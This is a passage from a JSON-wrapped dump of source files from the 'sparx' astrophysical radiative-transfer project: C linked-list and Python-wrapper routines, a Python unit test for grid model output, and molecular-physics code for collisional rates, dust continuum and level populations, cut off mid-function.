name))\n\t\t\treturn np;\n\t}\n\n\treturn NULL;\n}\n\n/*----------------------------------------------------------------------------*/\n\nLNode *Dat_Llst_Push(LNode *list, void *value, void (*freef)(void *))\n/* Insert value associated with name in a linked list of LNodes */ \n{\n\tLNode *np;\n\n\t/* Name not found, create new node */\n\tnp = Mem_CALLOC(1, np);\n\n\t/* Assign new value and freef */\n\tnp->value = value;\n\tnp->freef = freef;\n\n\t/* If list is not empty, prepend np to list */\n\tif(list) {\n\t\tnp->next = list;\n\t\tnp->next->prev = np;\n\t}\n\n\treturn np;\n}\n\n/*----------------------------------------------------------------------------*/\n\nLNode *Dat_Llst_Insert(LNode *list, const char *name, void *value, void (*freef)(void *))\n/* Insert value associated with name in a linked list of LNodes */ \n{\n\tLNode *np, *newlst;\n\n\t/* Check if name already exists in list */\n\tnp = Dat_Llst_Lookup(list, name);\n\n\tif(!np) {\n\t\t/* Name not found, create new node */\n\t\tnp = Mem_CALLOC(1, np);\n\n\t\t/* Assign name */\n\t\tnp->name = Mem_STRDUP(name);\n\n\t\t/* If list is not empty, prepend np to list */\n\t\tif(list) {\n\t\t\tnp->next = list;\n\t\t\tnp->next->prev = np;\n\t\t}\n\n\t\t/* list now begins with np */\n\t\tnewlst = np;\n\t}\n\telse {\n\t\t/* Node with name already exists, free associated value if np->freef is specified */\n\t\tif(np->freef)\n\t\t\tnp->freef(np->value);\n\n\t\t/* newlst still begins with list */\n\t\tnewlst = list;\n\t}\n\n\t/* Assign new value and freef */\n\tnp->value = value;\n\tnp->freef = freef;\n\n\treturn newlst;\n}\n\n/*----------------------------------------------------------------------------*/\n\nvoid Dat_LNode_Free(void *node)\n/* Free a single LNode */\n{\n\tLNode *np = node;\n\n\tfree(np->name);\n\tif(np->freef)\n\t\tnp->freef(np->value);\n\tfree(np);\n\n\treturn;\n}\n\n/*----------------------------------------------------------------------------*/\n\nvoid Dat_Llst_Free(void *list)\n/* Free a linked list of LNodes */\n{\n\tLNode *lp = list, *np;\n\n\tif(lp->next) {\n\t\t/* Free current node and move on to next node */\n\t\tnp = lp;\n\t\tlp = lp->next;\n\t\tDat_LNode_Free(np);\n\t\tDat_Llst_Free(lp);\n\t}\n\telse {\n\t\t/* Last node of list reached, free lp and that's it */\n\t\tDat_LNode_Free(lp);\n\t}\n\n\treturn;\n}\n\n\n\n\n\n\n\n\n\n\n\n" }, { "alpha_fraction": 0.58423912525177, "alphanum_fraction": 0.6119565367698669, "avg_line_length": 34.38461685180664, "blob_id": "594575472324590de67f19cc3594afe820756d37", "content_id": "e117f7dee29415eaba889ecd28c22fffbd1e6549", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1840, "license_type": "no_license", "max_line_length": 99, "num_lines": 52, "path": "/unit/test_grid.py", "repo_name": "cinchurge/sparx", "src_encoding": "UTF-8", "text": "import unittest\nfrom sparx.regtest import UnitTestCase, use_rundir\nimport numpy as np\nfrom sparx.grid import Grid_sph1d\n\nfrom os.path import dirname, basename, join\n\nclass TestGrid(UnitTestCase):\n @use_rundir\n def test_write_hdf5(self):\n grid = Grid_sph1d(10, 0.1)\n for pos in np.ndindex(*grid.shape):\n grid.n_H2[pos] = 1e4 * 1e6\n grid.T_k[pos] = 10\n grid.X_mol[pos] = 1e-10\n grid.write_hdf5(\"test.h5\")\n grid.write_ratran(\"test.mdl\")\n\n import subprocess as sp\n out = sp.check_output(\"sparx run task_dumpmodel source='test.h5'\", shell=True)\n with open(\"test_h5.dump\", \"w\") as f:\n f.write(out)\n\n import filecmp, shutil\n shutil.copyfile(join(self.get_datadir(), \"test_h5.golden\"), \"test_h5.golden\")\n # esc 20140821:Remember to enable this at some point\n #self.assertTrue(filecmp.cmp(\"test_h5.dump\", \"golden.dump\"))\n pass\n\n @use_rundir\n def test_write_ratran(self):\n grid = Grid_sph1d(8, 0.1)\n for pos in np.ndindex(*grid.shape):\n grid.n_H2[pos] = 1e4 * 1e6\n grid.T_k[pos] = 10\n grid.X_mol[pos] = 1e-10\n grid.write_ratran(\"test_ratran.mdl\")\n\n import filecmp, shutil\n shutil.copyfile(join(self.get_datadir(), \"test_write_ratran.golden\"), \"test_ratran.golden\")\n self.assertTrue(filecmp.cmp(\"test_ratran.mdl\", \"test_ratran.golden\"))\n\n @use_rundir\n def test_write_ratran_c(self):\n import shutil, filecmp\n from sparx import _sparx\n _sparx.test_model_print_ratran(\"test_ratran2.mdl\")\n shutil.copyfile(join(self.get_datadir(), \"test_ratran2.golden\"), \"test_ratran2.golden\")\n self.assertTrue(filecmp.cmp(\"test_ratran2.mdl\", \"test_ratran2.golden\"))\n\nif __name__ == '__main__':\n unittest.main()\n" }, { "alpha_fraction": 0.5015105605125427, "alphanum_fraction": 0.504531741142273, "avg_line_length": 18.441177368164062, "blob_id": "51a9f060011e4f17d82cb9478d3b1f78b3039e55", "content_id": "d573347441145c833adc3812c78608c477c2b924", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 1324, "license_type": "no_license", "max_line_length": 80, "num_lines": 68, "path": "/src/python-wrappers.c", "repo_name": "cinchurge/sparx", "src_encoding": "UTF-8", "text": "/*\n * Wrapper routines for the Python/C API\n * All wrapper routines should have prefix `PyWr'.\n */\n\n#include <Python.h>\n#include <stdio.h>\n#include <stdlib.h>\n#include <stdarg.h>\n\n#include \"memory.h\"\n#include \"python-wrappers.h\"\n\n/*----------------------------------------------------------------------------*/\n\nint PyWrRun_SimpleString(const char *format, ...)\n{\n\tint status = 0;\n\tchar *string;\n\tva_list ap;\n\n\tva_start(ap, format);\n\tstring = Mem_VSprintf(format, ap);\n\tva_end(ap);\n\n\tstatus = PyRun_SimpleString(string);\n\n\tfree(string);\n\n\treturn status;\n}\n\n/*----------------------------------------------------------------------------*/\n\nint PyWrRun_SimpleFile(const char *fname)\n{\n\tFILE *fp;\n\n\tfp = fopen(fname, \"r\");\n\tif(!fp) {\n\t\treturn 1;\n\t}\n\n\treturn PyRun_SimpleFile(fp, fname);\n}\n\n/*----------------------------------------------------------------------------*/\n\nvoid* PyWrArray_GetPtr3(PyArrayObject* obj, size_t i, size_t j, size_t k)\n{\n\treturn PyArray_GETPTR3(obj, (npy_intp)i, (npy_intp)j, (npy_intp)k);\n}\n\n/*----------------------------------------------------------------------------*/\n\nvoid PyWrErr_SetString(PyObject *type, const char *format, ...)\n{\n\tchar buffer[BUFSIZ];\n\tva_list ap;\n\n\tva_start(ap, format);\n\tvsnprintf(buffer, BUFSIZ, format, ap);\n\tva_end(ap);\n\n\tPyErr_SetString(type, buffer);\n\n\treturn;\n}\n\n\n" }, { "alpha_fraction": 0.5093758702278137, "alphanum_fraction": 0.5259529948234558, "avg_line_length": 23.85714340209961, "blob_id": "0b6ea17b8e3ef87bd51fa7ae8227c5dd727d66cb", "content_id": "8b7d190f5b5c9b37f8a5face5bcc192bf050de7d", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 24371, "license_type": "no_license", "max_line_length": 125, "num_lines": 980, "path": "/src/sparx-physics.c", "repo_name": "cinchurge/sparx", "src_encoding": "UTF-8", "text": "#include \"sparx.h\"\n#include \"debug.h\"\n#include <gsl/gsl_interp.h>\n\n/*----------------------------------------------------------------------------*/\n\nvoid *SpPhys_Alloc(const Zone *zp, const void *parms_p)\n{\n\tconst SpPhysParm *parms = parms_p;\n\tSpPhys *pp = Mem_CALLOC(1, pp);\n\n\t/* Back-reference to zone */\n\tpp->zp = zp;\n\n\t/* Init according to parms */\n\tif(parms) {\n\t\t/* Assign molecule and allocate lines */\n\t\tif(parms->mol)\n\t\t\tSpPhys_InitMol(pp, parms->mol);\n\n\t\t/* Set velocity field */\n\t\tif(parms->velfield) {\n\t\t\tpp->velfield = parms->velfield;\n\t\t}\n\t\telse {\n\t\t\tpp->velfield = NULL;\n\t\t}\n\t}\n\n\treturn pp;\n}\n\n/*----------------------------------------------------------------------------*/\n\nvoid SpPhys_Free(void *ptr)\n{\n\tsize_t i;\n\tSpPhys *pp = ptr;\n\n\tfor(i = 0; i < Sp_NTHREAD; i++) {\n\t\tif(pp->pops[i])\n\t\t\tfree(pp->pops[i]);\n\t}\n\n\tif(pp->cmat)\n\t\tfree(pp->cmat);\n\n\tif(pp->tau)\n\t\tfree(pp->tau);\n\n\tif(pp->cont)\n\t\tfree(pp->cont);\n\n\tfree(pp);\n\n\treturn;\n}\n\n/*----------------------------------------------------------------------------*/\n\nvoid SpPhys_InitMol(SpPhys *pp, const Molec *mol)\n{\n\tsize_t i;\n\tdouble *freq;\n\n\tDeb_ASSERT(mol != NULL);\n\tDeb_ASSERT(pp->mol == NULL);\n\tDeb_ASSERT(pp->tau == NULL);\n\n\tpp->mol = mol;\n\n\tfor(i = 0; i < Sp_NTHREAD; i++) {\n\t\tDeb_ASSERT(pp->pops[i] == NULL);\n\t\tpp->pops[i] = Mem_CALLOC(mol->nlev, pp->pops[i]);\n\t}\n\n\t/* Allocate tau for book keeping */\n\tpp->tau = Mem_CALLOC(mol->nrad, pp->tau);\n\n\t/* Allocate continuum emission/absorption */\n\tfreq = Mem_CALLOC(mol->nrad, freq);\n\tfor(i = 0; i < mol->nrad; i++) {\n\t\tfreq[i] = mol->rad[i]->freq;\n\t}\n\n\tSpPhys_InitContWindows(pp, freq, mol->nrad);\n\n\tfree(freq);\n\n\treturn;\n}\n\n/*----------------------------------------------------------------------------*/\n\nvoid SpPhys_InitContWindows(SpPhys *pp, double freq[], size_t nfreq)\n{\n\tsize_t i;\n\n\tDeb_ASSERT(nfreq > 0);\n\n\tif(pp->cont)\n\t\tfree(pp->cont);\n\n\t/* Allocate continuum emission/absorption */\n\tpp->ncont = nfreq;\n\tpp->cont = Mem_CALLOC(nfreq, pp->cont);\n\n\tfor(i = 0; i < nfreq; i++) {\n\t\tDeb_ASSERT(freq[i] > 0);\n\t\tpp->cont[i].freq = freq[i];\n\t\tpp->cont[i].lambda = PHYS_CONST_MKS_LIGHTC / freq[i];\n\t}\n\n\treturn;\n}\n\n/*----------------------------------------------------------------------------*/\n\nvoid SpPhys_InitCollRates(SpPhys *pp)\n/* Allocate and initialize collisional rates:\n * Interpolate downward rates and infer upward rates from Boltzmann relation */\n{\n\tsize_t i, j, itmp;\n\tdouble K_ul;\n\n\tDeb_ASSERT(pp->mol != NULL);\n\tDeb_ASSERT(pp->cmat == NULL);\n\n\t#define NLEV (pp->mol->nlev)\n\t#define COL(i) (pp->mol->col[(i)])\n\t#define TMP(i, j) (COL(i)->tmp[(j)])\n\t#define TR(i, j) (COL(i)->tr[(j)])\n\t#define CMAT(i, j) (pp->cmat[(j) + NLEV * (i)])\n\n\t/* Allocate collisional rates matrix */\n\tpp->cmat = Mem_CALLOC(NLEV * NLEV, pp->cmat);\n\n\t/* Fill in downward rates: collisional rates for each transition are the\n\t * sum of collisional rates from ALL collisional partners */\n\tfor(i = 0; i < pp->mol->ncol; i++) {\n\t\t/* Locate nearest temperature available for this species */\n\t\titmp = gsl_interp_bsearch(COL(i)->tmp, pp->T_k, (size_t)0, COL(i)->ntmp);\n\n\t\t/* Loop through all collisional transitions and calculate\n\t\t * collisional rats */\n\t\tfor(j = 0; j < COL(i)->ntr; j++) {\n\t\t\t/* Interpolate downward rate coeffs */\n\t\t\tif(itmp == COL(i)->ntmp - 1) {\n\t\t\t\t/* T_k greater than available tempratures, coerce to\n\t\t\t\t * upper end of K_ul */\n\t\t\t\tK_ul = TR(i, j)->K_ul[COL(i)->ntmp - 1];\n\t\t\t}\n\t\t\telse if(pp->T_k < TMP(i, 0)) {\n\t\t\t\t/* T_k less than available temperatures, coerce to\n\t\t\t\t * lower end of K_ul */\n\t\t\t\tK_ul = TR(i, j)->K_ul[0];\n\t\t\t}\n\t\t\telse {\n\t\t\t\t/* T_k within range, linearly interpolate K_ul */\n\t\t\t\tK_ul = Num_InterpLinear(pp->T_k, TMP(i, itmp), TMP(i, itmp + 1), TR(i, j)->K_ul[itmp], TR(i, j)->K_ul[itmp + 1]);\n\t\t\t}\n\n\t\t\t/* Collisional rate is density of collisional partner multiplied\n\t\t\t * by downard rate */\n\t\t\tCMAT(TR(i, j)->up, TR(i, j)->lo) += SpPhys_GetCollDens(pp, COL(i)->species) * K_ul;\n\t\t}\n\t}\n\n\t/* Calculate upward rates from downward rates using the Boltzmann\n\t * relation (cf. Rohlfs & Wilson p. 309)\n\t * \tC_lu / C_ul = N_u / N_l = (g_u / g_l) * exp(-(E_u - E_l) / (k * T)) = BoltzRatio\n\t * -->\tC_lu = C_ul * BoltzRatio\n\t */\n\tfor(i = 0; i < NLEV; i++) {\n\t\tfor(j = i + 1; j < NLEV; j++) {\n\t\t\tCMAT(i, j) = CMAT(j, i) * SpPhys_BoltzRatio(pp->mol, j, i, pp->T_k);\n\t\t}\n\t}\n\n\t#undef NLEV\n\t#undef COL\n\t#undef TMP\n\t#undef TR\n\t#undef CMAT\n\n\treturn;\n}\n\n/*----------------------------------------------------------------------------*/\n\nvoid SpPhys_SetContinuumIntens_bb(SpPhys *pp, int cont, double T_bb, double I_norm)\n/* Add continuum abosrption and emission associated with T_bb, kap and rho to total\n continuum absorption and emission for all line or continuum windows. */\n{\n\tsize_t i, nrad;\n\n\tif(cont) {\n\t\tDeb_ASSERT(pp->cont != NULL);\n\t\tnrad = pp->ncont;\n\t}\n\telse {\n\t\tDeb_ASSERT(pp->mol != NULL);\n\t\tnrad = pp->mol->nrad;\n\t}\n\n\t#define FREQ(i)\\\n\t\t(cont ? pp->cont[i].freq : pp->mol->rad[i]->freq)\n\n\tfor(i = 0; i < nrad; i++) {\n\t\tpp->cont[i].I_bb = Phys_PlanckFunc(FREQ(i), T_bb) / I_norm;\n\t}\n\n\t#undef FREQ\n\n\treturn;\n}\n\n/*----------------------------------------------------------------------------*/\n\nvoid SpPhys_AddContinuum(SpPhys *pp, int cont, double T_bb, const Kappa *kap, double rho)\n/* Add continuum abosrption and emission associated with T_bb, kap and rho to total\n continuum absorption and emission for all line or continuum windows. */\n{\n\tsize_t i, nrad;\n\tdouble j_nu, k_nu;\n\n\tDeb_ASSERT(kap != NULL);\n\n\tif(cont) {\n\t\tDeb_ASSERT(pp->cont != NULL);\n\t\tnrad = pp->ncont;\n\t}\n\telse {\n\t\tDeb_ASSERT(pp->mol != NULL);\n\t\tnrad = pp->mol->nrad;\n\t}\n\n\t#define FREQ(i)\\\n\t\t(cont ? pp->cont[i].freq : pp->mol->rad[i]->freq)\n\n\tfor(i = 0; i < nrad; i++) {\n\t\t/* k = kappa_dust * rho_dust */\n\t\tk_nu = Kap_FromFreq(kap, FREQ(i)) * rho;\n\n\t\t/* j = B_nu * k */\n\t\tj_nu = Phys_PlanckFunc(FREQ(i), T_bb) * k_nu;\n\n\t\t/* Accumulate j and k */\n\t\tpp->cont[i].j += j_nu;\n\t\tpp->cont[i].k += k_nu;\n\t}\n\n\t#undef FREQ\n\n\treturn;\n}\n\n/*----------------------------------------------------------------------------*/\n\nvoid SpPhys_AddContinuum_d(SpPhys *pp, int cont, double gas_to_dust)\n{\n\tdouble rho;\n\tKappa *kap;\n\n\t/* Dust mass density is\n\t\trho_dust = (n_H2 * mu_H2 * amu) / gas_to_dust\n\t where\n\t \tn_H2 = H2 number density\n\t\tgas_to_dust = gas-to-dust ratio\n\t\tmu_H2 = mean molecular weight per H2 --\n\t\t assuming M_H : M_He : M_Z = 0.71 : 0.27 : 0.02,\n\t\t this would be ~ 2.8\n\t\tamu = atomic mass unit\n\t*/\n\tDeb_ASSERT(gas_to_dust > 0);\n\trho = (pp->n_H2 * 2.8 * PHYS_UNIT_MKS_AMU) / gas_to_dust;\n\tkap = SpIO_LoadKappa(pp->kapp_d);\n\tSpPhys_AddContinuum(pp, cont, pp->T_d, kap, rho);\n\tKap_Free(kap);\n\n\treturn;\n}\n\n/*----------------------------------------------------------------------------*/\n\nvoid SpPhys_AddContinuum_ff(SpPhys *pp, int cont)\n{\n\tdouble rho;\n\tKappa *kap;\n\n\t/* Total mass density is\n\t\trho_dust = (n_H2 * mu_H2 * amu)\n\t where\n\t \tn_H2 = H2 number density\n\t\tmu_H2 = mean molecular weight per H2 --\n\t\t assuming M_H : M_He : M_Z = 0.71 : 0.27 : 0.02,\n\t\t this would be ~ 2.8\n\t\tamu = atomic mass unit\n\t*/\n\trho = (pp->n_H2 * 2.8 * PHYS_UNIT_MKS_AMU);\n\tkap = SpIO_LoadKappa(pp->kapp_ff);\n\tSpPhys_AddContinuum(pp, cont, pp->T_ff, kap, rho);\n\tKap_Free(kap);\n\n\treturn;\n}\n\n/*----------------------------------------------------------------------------*/\n\n#if 0\nvoid SpPhys_AddCont(SpPhys *pp, int cont)\n{\n\tif(cont)\n\t\tDeb_ASSERT(pp->cont != NULL);\n\telse\n\t\tDeb_ASSERT(pp->mol != NULL);\n\n\tDeb_ASSERT(pp->bbsrc.nu0 > 0);\n\n\tsize_t i, nrad;\n\tdouble rho, j_nu, k_nu;\n\n\tif(cont)\n\t\tnrad = pp->ncont;\n\telse\n\t\tnrad = pp->mol->nrad;\n\n\t/* Total mass density is\n\t\trho_dust = (n_H2 * mu_H2 * amu)\n\t where\n\t \tn_H2 = H2 number density\n\t\tmu_H2 = mean molecular weight per H2 --\n\t\t assuming M_H : M_He : M_Z = 0.71 : 0.27 : 0.02,\n\t\t this would be ~ 2.8\n\t\tamu = atomic mass unit\n\t*/\n\trho = (pp->n_H2 * 2.8 * PHYS_UNIT_MKS_AMU);\n\n\t#define FREQ(i)\\\n\t\t(cont ? pp->cont[i].freq : pp->mol->rad[i]->freq)\n\n\tfor(i = 0; i < nrad; i++) {\n\t\t/* k = kappa * rho */\n\t\tk_nu = pp->bbsrc.kappa0 * pow(FREQ(i) / pp->bbsrc.nu0, pp->bbsrc.beta) * rho;\n\n\t\t/* j = B_nu * k */\n\t\tj_nu = Phys_PlanckFunc(FREQ(i), pp->bbsrc.T_bb) * k_nu;\n\n\t\t/* Accumulate j and k */\n\t\tpp->cont[i].j += j_nu;\n\t\tpp->cont[i].k += k_nu;\n\t}\n\n\t#undef FREQ\n\n\treturn;\n}\n\n/*----------------------------------------------------------------------------*/\n\nvoid SpPhys_AddDust(SpPhys *pp, int cont, const Kappa *kap, double gas_to_dust)\n{\n\tDeb_ASSERT(kap != NULL);\n\tif(cont)\n\t\tDeb_ASSERT(pp->cont != NULL);\n\telse\n\t\tDeb_ASSERT(pp->mol != NULL);\n\n\tsize_t i, nrad;\n\tdouble rho_dust, j_nu, k_nu;\n\n\tif(cont)\n\t\tnrad = pp->ncont;\n\telse\n\t\tnrad = pp->mol->nrad;\n\n\t/* Dust mass density is\n\t\trho_dust = (n_H2 * mu_H2 * amu) / gas_to_dust\n\t where\n\t \tn_H2 = H2 number density\n\t\tgas_to_dust = gas-to-dust ratio\n\t\tmu_H2 = mean molecular weight per H2 --\n\t\t assuming M_H : M_He : M_Z = 0.71 : 0.27 : 0.02,\n\t\t this would be ~ 2.8\n\t\tamu = atomic mass unit\n\t*/\n\tDeb_ASSERT(gas_to_dust > 0);\n\trho_dust = (pp->n_H2 * 2.8 * PHYS_UNIT_MKS_AMU) / gas_to_dust;\n\n\t#define FREQ(i)\\\n\t\t(cont ? pp->cont[i].freq : pp->mol->rad[i]->freq)\n\n\tfor(i = 0; i < nrad; i++) {\n\t\t/* k = kappa_dust * rho_dust */\n\t\tk_nu = Kap_FromFreq(kap, FREQ(i)) * rho_dust;\n\n\t\t/* j = B_nu * k */\n\t\tj_nu = Phys_PlanckFunc(FREQ(i), pp->T_k) * k_nu;\n\n\t\t/* Accumulate j and k */\n\t\tpp->cont[i].j += j_nu;\n\t\tpp->cont[i].k += k_nu;\n\t}\n\n\t#undef FREQ\n\n\treturn;\n}\n#endif\n\n/*----------------------------------------------------------------------------*/\n\n#if 0\nvoid SpPhys_AddKappa(SpPhys *pp)\n/* Once SpPhys.cont has been initialized, add continuum emission/absorption\n specified by SpPhys.kappa to all frequencies in SpPhys.cont */\n{\n\tsize_t i, nrad;\n\tdouble rho_tot, j_nu, k_nu;\n\n\tDeb_ASSERT(pp->kappa != NULL);\n\n\tif(cont)\n\t\tnrad = pp->ncont;\n\telse\n\t\tnrad = pp->mol->nrad;\n\n\t/* Total mass density is\n\t\trho_dust = (n_H2 * mu_H2 * amu)\n\t where\n\t \tn_H2 = H2 number density\n\t\tmu_H2 = mean molecular weight per H2 --\n\t\t assuming M_H : M_He : M_Z = 0.71 : 0.27 : 0.02,\n\t\t this would be ~ 2.8\n\t\tamu = atomic mass unit\n\t*/\n\trho_dust = (pp->n_H2 * 2.8 * PHYS_UNIT_MKS_AMU);\n\n\t#define FREQ(i)\\\n\t\t(cont ? pp->cont[i].freq : pp->mol->rad[i]->freq)\n\n\tfor(i = 0; i < nrad; i++) {\n\t\t/* k = kappa_dust * rho_dust */\n\t\tk_nu = Kap_FromFreq(ppkap, FREQ(i)) * rho_dust;\n\n\t\t/* j = B_nu * k */\n\t\tj_nu = Phys_PlanckFunc(FREQ(i), pp->T_k) * k_nu;\n\n\t\t/* Accumulate j and k */\n\t\tpp->cont[i].j += j_nu;\n\t\tpp->cont[i].k += k_nu;\n\t}\n\n\t#undef FREQ\n}\n#endif\n\n/*----------------------------------------------------------------------------*/\n\ndouble SpPhys_GetCollDens(const SpPhys *pp, int species)\n{\n\tswitch(species) {\n\t\tcase 1: /* H2 */\n\t\t\treturn pp->n_H2;\n\t\tcase 2: /* para-H2 */\n\t\t\treturn pp->n_H2 * pp->X_pH2;\n\t\tcase 3: /* ortho-H2 */\n\t\t\treturn pp->n_H2 * pp->X_oH2;\n\t\tcase 4: /* electrons */\n\t\t\treturn pp->n_H2 * pp->X_e;\n\t\tcase 5: /* H */\n\t\t\treturn pp->n_H2 * pp->X_H;\n\t\tcase 6: /* He */\n\t\t\treturn pp->n_H2 * pp->X_He;\n\n\t\tdefault: /* Illegal species code */\n\t\t\tDeb_ASSERT(0);\n\t}\n\n\t/* This should never happen */\n\treturn 0.0;\n}\n\n/*----------------------------------------------------------------------------*/\n\nvoid SpPhys_Fprintf(SpPhys *pp, FILE *fp)\n{\n\tsize_t i;\n\n\tfprintf(fp, \"n_H2=%g, T_k=%g, X_mol=%g, width=%g, dust=`%s'\\n\",\n\t\tpp->n_H2, pp->T_k, pp->X_mol, pp->width, strlen(pp->kapp_d) > 0 ? pp->kapp_d : \"None\");\n\n\tif(pp->mol) {\n\t\tDeb_ASSERT(pp->pops[0] != 0);\n\t\tfprintf(fp, \" %5s|%20s\\n\", \"Level\", \"Fractional density\");\n\t\tfprintf(fp, \" %5s|%20s\\n\", \"-----\", \"--------------------\");\n\t\tfor(i = 0; i < pp->mol->nlev; i++) {\n\t\t\tfprintf(fp, \" %5lu|%20g\\n\", (unsigned long)i, pp->pops[0][i]);\n\t\t}\n\t}\n\n\treturn;\n}\n\n/*----------------------------------------------------------------------------*/\n\nsize_t SpPhys_Fwrite(SpPhys *pp, FILE *fp)\n{\n\tsize_t nbytes = 0;\n\n\tnbytes += Mem_FWRITE(&pp->n_H2, 1, fp);\n\tnbytes += Mem_FWRITE(&pp->T_k, 1, fp);\n\tnbytes += Mem_FWRITE(&pp->X_mol, 1, fp);\n\tnbytes += Mem_FWRITE(&pp->width, 1, fp);\n\n\tif(pp->mol) {\n\t\tDeb_ASSERT(pp->pops[0] != 0);\n\t\tnbytes += Mem_FWRITE(pp->pops[0], pp->mol->nlev, fp);\n\t}\n\n\treturn nbytes;\n}\n\n/*----------------------------------------------------------------------------*/\n\nsize_t SpPhys_Fread(SpPhys *pp, FILE *fp)\n{\n\tsize_t nbytes = 0;\n\n\tnbytes += Mem_FREAD(&pp->n_H2, 1, fp);\n\tnbytes += Mem_FREAD(&pp->T_k, 1, fp);\n\tnbytes += Mem_FREAD(&pp->X_mol, 1, fp);\n\tnbytes += Mem_FREAD(&pp->width, 1, fp);\n\n\tif(pp->mol) {\n\t\tDeb_ASSERT(pp->pops[0] != 0);\n\t\tnbytes += Mem_FREAD(pp->pops[0], pp->mol->nlev, fp);\n\t}\n\n\treturn nbytes;\n}\n\n/*----------------------------------------------------------------------------*/\n\ndouble SpPhys_Zfunc(const Molec *mol, double T_k)\n/* Calculate Z(T), the partition function */\n{\n\tsize_t i;\n\tdouble Z = 0, k = PHYS_CONST_MKS_BOLTZK;\n\n\tfor(i = 0; i < mol->nlev; i++) {\n\t\tZ += mol->lev[i]->g * exp(-mol->lev[i]->E / (k * T_k));\n\t}\n\n\treturn Z;\n}\n\n/*----------------------------------------------------------------------------*/\n\nvoid SpPhys_ProcLamda(Molec *mol)\n/* Process a molecule loaded from a LAMDA comaptible data file:\n * Convert everything to SI units */\n{\n\tstatic double\n\t\tm_u = PHYS_UNIT_MKS_AMU,\n\t\tcm = PHYS_UNIT_MKS_CM,\n\t\tcc = PHYS_UNIT_MKS_CC,\n\t\th = PHYS_CONST_MKS_PLANCKH,\n\t\tc = PHYS_CONST_MKS_LIGHTC;\n\tsize_t i, j, k, up, lo;\n\tdouble g_u, g_l, E_u, E_l, nu;\n\tMolTrRad *rad;\n\n\t/* Convert molecular weight to kg */\n\tmol->weight *= m_u;\n\n\t/* Convert energy of each level from cm^-1 to J,\n\t * according to E = h * c / lambda\n\t *\n\t * where E = energy\n\t * h = Planck's constant\n\t * c = speed of light in vacuum\n\t * lambda = transition wavelength\n\t */\n\tfor(i = 0; i < mol->nlev; i++)\n\t\tmol->lev[i]->E = h * c * (mol->lev[i]->E * (1.0 / cm));\n\n\t/* Calculate line parameters */\n\tfor(i = 0; i < mol->nrad; i++) {\n\t\trad = mol->rad[i];\n\t\tup = rad->up;\n\t\tlo = rad->lo;\n\t\tg_u = mol->lev[up]->g;\n\t\tg_l = mol->lev[lo]->g;\n\t\tE_u = mol->lev[up]->E;\n\t\tE_l = mol->lev[lo]->E;\n\n\t\t/* Recalculate frequency based on level energies:\n\t\t * \tnu = (E_u - E_l) / h\n\t\t *\n\t\t * where nu = frequency\n\t\t * E_u = uppler level energy\n\t\t * E_l = lower level energy\n\t\t * h = Planck's constant\n\t\t */\n\t\tnu = rad->freq = (E_u - E_l) / h;\n\n\t\t/* Einstein B coefficient for stimulated emission:\n\t\t * \tB_ul = A_ul * c^2 / (2.0 * h * nu^3)\n\t\t *\n\t\t * where A_ul = Einstein A coefficient\n\t\t * c = speed of light in vacuum\n\t\t * h = Planck's constant\n\t\t * nu = transition frequency\n\t\t */\n\t\trad->B_ul = rad->A_ul * c * c / (2.0 * h * pow(nu, 3.0));\n\n\t\t/* Einstein B coefficient for absorption:\n\t\t *\tB_lu * g_l = B_ul * g_u\n\t\t *\n\t\t * where g_u = upper level statistical weight\n\t\t * g_l = lower level statistical weight\n\t\t */\n\t\trad->B_lu = (g_u / g_l) * rad->B_ul;\n\t}\n\n\t/* Convert collisional rate coefficients from Gaussian units\n\t * to SI units */\n\tfor(i = 0; i < mol->ncol; i++) {\n\t\tfor(j = 0; j < mol->col[i]->ntr; j++) {\n\t\t\tfor(k = 0; k < mol->col[i]->ntmp; k++) {\n\t\t\t\tmol->col[i]->tr[j]->K_ul[k] *= cc; /* [cm^3 s^-1] -> [m^3 s^-1] */\n\t\t\t}\n\t\t}\n\t}\n\n\treturn;\n}\n\n/*----------------------------------------------------------------------------*/\n\ndouble SpPhys_BoltzPops(const Molec *mol, size_t lev, double T_k)\n/* Given kinetic temperature, calculate thermal equilibrium fractional\n * density for a particular level (i.e. level population) */\n{\n\tstatic double\n\t\tk = PHYS_CONST_MKS_BOLTZK; /* Boltzmann's constant */\n\tdouble\n\t\tg = mol->lev[lev]->g, /* Statistical weight */\n\t\tE = mol->lev[lev]->E, /* Level energy */\n\t\tZ = SpPhys_Zfunc(mol, T_k); /* Partition function */\n\n\t/* The fractional density of lev is\n\t * g * e^(-E/kT) / Z\n\t */\n\treturn g * exp(-E / (k * T_k)) / Z;\n}\n\n/*----------------------------------------------------------------------------*/\n\nvoid SpPhys_GetMoljk(size_t tid, const SpPhys *pp, size_t tr, double vfac, double *j_nu, double *k_nu)\n/* Calculate mlecular emission and absorption coefficients (cf. Rybicki &\n * Lightman 1985).\n *\n * Parameters:\n * tr -- index of transition\n * vfac -- exponential term of line profile\n */\n{\n\t/* Constants */\n\tstatic const double\n\t\tpi = PHYS_CONST_PI,\n\t\tc = PHYS_CONST_MKS_LIGHTC,\n\t\tKONST = PHYS_CONST_MKS_PLANCKH / (4.0 * PHYS_CONST_PI);\n\tconst MolTrRad *trans = pp->mol->rad[tr];\n\tdouble\n\t\tnu = trans->freq,\n\t\tn_u = pp->pops[tid][trans->up],\n\t\tn_l = pp->pops[tid][trans->lo],\n\t\tfactor;\n\t\t/* Factor is angle-averaged photon energy multiplied by\n\t\t * the line profile function:\n\t\t * \t(h * nu / (4 * pi)) * phi\n\t\t *\n\t\t * where h = Planck's constant\n\t\t * nu = line center frequency\n\t\t * phi = line profile function\n\t\t */\n\t\tfactor = KONST * pp->n_H2 * pp->X_mol * nu * (c / (pp->width * nu * sqrt(pi))) * vfac;\n\n\t#if 0 //debug\n\tprintf(\"factor=%10.4e, n_H2=%10.4e, X_mol=%10.4e\\n\", factor, pp->n_H2, pp->X_mol);\n\t#endif\n\n\t/* Emission coefficient */\n\t*j_nu = factor * (n_u * trans->A_ul);\n\n\t/* Absorption coefficient */\n\t*k_nu = factor * (n_l * trans->B_lu - n_u * trans->B_ul);\n\n\treturn;\n}\n\n/*----------------------------------------------------------------------------*/\n\nGeVec3_d SpPhys_GetVgas(const GeVec3_d *pos, const Zone *zone)\n/* Retriev gas velocity at pos */\n{\n\t#define USE_LVG 0\n\t#define USE_CONST 0\n\n\tSpPhys *pp;\n\tGeVec3_d v_gas;\n\t#if USE_LVG\n\tdouble radius;\n\t#endif\n\t#if 